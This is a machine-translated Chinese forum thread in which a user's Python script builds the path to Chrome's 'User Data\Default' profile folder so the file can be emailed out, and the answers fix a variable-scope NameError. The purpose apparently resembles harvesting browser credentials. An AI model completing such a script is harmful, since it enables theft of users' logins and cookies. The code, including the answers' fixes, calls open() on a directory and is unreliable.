2017-10-04 147 views
-2

我最近嘗試以代碼的程序給我發送電子郵件與特定的文件,但我不斷收到此錯誤:無法能夠使用變量(蟒蛇)

"Traceback (most recent call last): 
    File "C:\Users\DedHex\Desktop\j.py", line 29, in <module> 
    attachment = open(PathName, "rb") 
NameError: name 'PathName' is not defined" 

但路徑名......所以我真的需要這方面的幫助,因爲它花了一段代碼。

我的代碼:

filename = "bob" 
def getpath(): 
    if os.name == "nt": 
     # This is the Windows Path 
     PathName = os.getenv('localappdata') + \ 
     '\\Google\\Chrome\\User Data\\Default\\' 
     if (os.path.isdir(PathName) == False): 
      print('[!] Chrome Doesn\'t exists') 
attachment = open(PathName, "rb") 

回答

0

路徑名僅在getpath()定義,並且你想使用它的getpath()的範圍之內。

0

嘗試使這個PathName全球

filename = "bob" 
def getpath(): 
    global PathName 
    if os.name == "nt": 
     # This is the Windows Path 
     PathName = os.getenv('localappdata') + \ 
     '\\Google\\Chrome\\User Data\\Default\\' 
     if (os.path.isdir(PathName) == False): 
      print('[!] Chrome Doesn\'t exists') 
attachment = open(PathName, "rb") 
0

由於PathName是內getpath()定義,你需要一種方法來訪問它在它之外。
return PathName將讓你訪問哪些是通過PathName = getpath()存儲在PathNamegetpath()

下面的代碼應該工作:

filename = "bob" 
def getpath(): 
    if os.name == "nt": 
     # This is the Windows Path 
     PathName = os.getenv('localappdata') + \ 
     '\\Google\\Chrome\\User Data\\Default\\' 
     if (os.path.isdir(PathName) == False): 
      print('[!] Chrome Doesn\'t exists') 
    return PathName 
PathName = getpath() 
attachment = open(PathName, "rb") 

如果您有任何疑問,爲什麼這樣的作品,我很高興能進入更詳細!